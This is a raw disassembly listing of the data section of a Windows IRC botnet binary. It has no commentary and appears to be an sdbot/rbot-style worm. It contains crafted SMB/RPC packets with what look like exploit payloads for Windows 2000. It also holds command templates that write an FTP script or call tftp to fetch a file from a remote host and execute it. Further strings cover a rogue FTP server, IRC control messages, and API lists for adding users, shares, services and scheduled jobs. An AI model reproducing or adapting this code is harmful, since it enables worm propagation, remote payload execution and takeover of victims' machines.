		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; 
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; 
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
aO_0		db 'O',0
aR_0		db 'R',0
aK_0		db 'K',0
aS_1		db 'S',0
		dd offset loc_410051+3
		dd offset loc_490054
		db 4Fh,	0, 4Eh
		db    0
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 10h
dword_41B440	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 4
dword_41B4A8	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+306o
		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B4E8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_41B550	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_41B5E8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+351o
					; sub_402972+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_41B748	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+36Bo
					; sub_402972+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
		dd 0
dword_41B8A8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+385o
					; sub_402972+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
		dd 0
dword_41BA08	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+39Fo
					; sub_402972+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
		dd 0
dword_41BB68	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+3B9o
					; sub_402972+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
dword_41BC38	dd 0A0D7325h, 0		; DATA XREF: sub_402E09+100o
					; sub_4077FD+2DACo
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_402E09+BCo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402E09+95o
aH1dd3nS__RootS	db 'h1dd3n (%s) ..  Root searching %s',0 ; DATA XREF: .nsp0:00402FC6o
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_4030CD+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_4030CD+10o
		align 10h
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_403145+63o
		align 4
dword_41BD24	dd 78h			; DATA XREF: sub_40322D+Ar
dword_41BD28	dd 80000002h		; DATA XREF: sub_4031BC+24r
off_41BD2C	dd offset aSoftwareMicr_0 ; DATA XREF: sub_4031BC+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 41DF98h, 80000001h, 41DFD0h
dword_41BD40	dd 6272h		; DATA XREF: sub_40327E+Bo
					; sub_404475+24o ...
unk_41BD44	db  1Fh			; DATA XREF: sub_4032EE+480o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aBadUrlOrDnsErr	db ' Bad URL, or DNS Error: %s.',0
		align 4
unk_41BD74	db  1Fh			; DATA XREF: sub_4032EE+472o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aUpdateFailedEr	db ' Update failed: Error executing file: %s.',0
		align 10h
unk_41BDB0	db  1Fh			; DATA XREF: sub_4032EE+3B6o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aDownloaded_1fk	db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_41BDF4	dd 264021Fh, 6E776F1Fh,	64616F6Ch, 2BB0220h, 704F20BBh
					; DATA XREF: sub_4032EE+34Do
		dd 64656E65h, 7325203Ah, 2Eh
aOpen		db 'open',0             ; DATA XREF: sub_4032EE+32Bo
					; sub_4077FD+1314o ...
		align 4
unk_41BE1C	db  1Fh			; DATA XREF: sub_4032EE+2D6o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aDownloaded_1fK	db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_41BE58	db  1Fh			; DATA XREF: sub_4032EE+257o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aCrcFailedDD_	db ' CRC Failed (%d != %d).',0
		align 4
unk_41BE84	db  1Fh			; DATA XREF: sub_4032EE+1CDo
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aFilesizeIsInco	db ' Filesize is incorrect: (%d != %d).',0
		align 4
unk_41BEBC	db  1Fh			; DATA XREF: sub_4032EE:loc_403486o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aUpdateSDkbTran	db ' Update: %s (%dKB transferred).',0
		align 10h
unk_41BEF0	db  1Fh			; DATA XREF: sub_4032EE+191o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aFileDownloadSD	db ' File download: %s (%dKB transferred).',0
unk_41BF28	db  1Fh			; DATA XREF: sub_4032EE+77o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_403882:loc_4038C5o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_403882:loc_4038BFo
aDisk		db 'Disk',0             ; DATA XREF: sub_403882:loc_4038B9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_403882:loc_4038B3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_403882:loc_4038ADo
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_403882:loc_4038A7o
word_41BF80	dw 3Fh			; DATA XREF: sub_403882+1Fo
					; sub_40B807:loc_40B909r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_403913:loc_4039EBo
					; sub_403A2E+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_403913+6Bo
		align 4
unk_41BF94	db  1Fh			; DATA XREF: sub_403A2E+8Eo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSDriveSSTotalS	db ' %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_41BFD4	db  1Fh			; DATA XREF: sub_403A2E+58o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSDriveSFailedT	db ' %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_1		db 'A:\',0              ; DATA XREF: sub_403B00:loc_403B45o
dword_41C018	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403CA3+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41C064	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_403CA3+E3o
; ---------------------------------------------------------------------------


loc_41C080:				; DATA XREF: sub_403CA3+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_41C094	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_403CA3+13Fo
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403E11+5B1o
aQuit		db 'QUIT',0             ; DATA XREF: sub_403E11+59Do
					; sub_4077FD+4FAo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_403E11+590o
		align 10h
unk_41C0F0	db  1Fh			; DATA XREF: sub_403E11+545o
		db 5Bh,	1Fh, 2
		db  52h	; R
		db 2 dup(4Fh), 54h
		db  45h	; E
		db 44h,	2, 1Fh
		db  5Dh	; ]
		db 1Fh,	20h, 0BBh
aFtpFinishedSDR	db ' ftp finished: %s:%d running %s',0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403E11+526o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_403E11+4FAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_403E11+4E2o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403E11+4D2o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_403E11+4C1o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_403E11+48Eo
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403E11+44Ao
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_403E11+411o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403E11+3E3o
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_403E11+3D0o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_403E11+395o
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_403E11+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403E11+372o
aI:					; DATA XREF: sub_403E11+35Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403E11+337o
aA:					; DATA XREF: sub_403E11+323o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_403E11+30Co
					; sub_403E11+347o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403E11+2FCo
		align 10h
off_41C280	dd offset dword_445750	; DATA XREF: sub_403E11+2E8o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403E11+2D8o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_403E11+2C4o
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403E11+2B4o
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_403E11+2A0o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403E11+290o
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_403E11+27Co
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_403E11+26Co
		align 10h
aUser		db 'USER',0             ; DATA XREF: sub_403E11+257o
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_403E11+246o
		align 10h
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403E11+1C8o
		align 4
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_404555+58o
aS_0		db '%s',0               ; DATA XREF: sub_404555+3Bo
					; sub_406441+19o
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_404555+16o
					; sub_4077FD+5D8o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_404555+Fo
					; sub_4077FD+5E4o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4045F0+B8Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4045F0+B7Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4045F0+B72o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4045F0+B65o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4045F0+B58o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4045F0+B50o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4045F0:loc_405133o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4045F0+B0Eo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4045F0+B06o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4045F0:loc_4050E9o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4045F0+AB4o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4045F0+AA7o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4045F0+A9Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4045F0+A92o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4045F0:loc_405075o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4045F0+A50o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4045F0+A48o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4045F0:loc_40502Bo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4045F0+A06o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4045F0+9FEo
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4045F0:loc_404FE1o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4045F0+974o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4045F0+967o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4045F0+95Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4045F0+94Do
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4045F0+940o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4045F0+933o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4045F0+926o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4045F0+919o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4045F0+90Co
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4045F0+8FFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4045F0+8F7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4045F0:loc_404ED6o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4045F0+8A9o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4045F0+89Co
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4045F0+894o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4045F0:loc_404E77o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4045F0+85Ao
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4045F0+7E8o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4045F0+7DBo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4045F0+7CEo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4045F0+7C1o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4045F0+7B4o
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4045F0+7A7o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4045F0+79Ao
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4045F0+78Do
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4045F0+780o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4045F0+778o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4045F0:loc_404D57o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4045F0+62Eo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4045F0+621o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4045F0+614o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4045F0+607o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4045F0+5FAo
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4045F0+5EDo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4045F0+5E0o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4045F0+5D3o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4045F0+5C6o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4045F0+5B9o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4045F0+5B1o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4045F0+59Fo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4045F0+592o
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4045F0+585o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4045F0+578o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4045F0+56Bo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4045F0+55Eo
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4045F0+551o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4045F0+544o
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4045F0+537o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4045F0+52Ao
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4045F0+51Do
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4045F0+510o
aSocket		db 'socket',0           ; DATA XREF: sub_4045F0+503o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4045F0+4F6o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4045F0+4E9o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4045F0+4DCo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4045F0+4CFo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4045F0+4C2o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4045F0+4B5o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4045F0+4ADo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4045F0+49Co
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4045F0+429o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4045F0+41Co
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4045F0+40Fo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4045F0+402o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4045F0+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4045F0+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4045F0+3DBo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4045F0+3CEo
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4045F0+3C6o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4045F0:loc_4049A5o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4045F0:loc_40497Do
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4045F0+335o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4045F0+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4045F0+31Bo
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4045F0+30Eo
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4045F0+301o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4045F0+2F4o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4045F0+2E7o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4045F0:loc_4048CFo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4045F0+2AFo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4045F0+2A2o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4045F0:loc_40488Ao
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4045F0+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4045F0+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4045F0+238o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4045F0+22Bo
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4045F0+21Eo
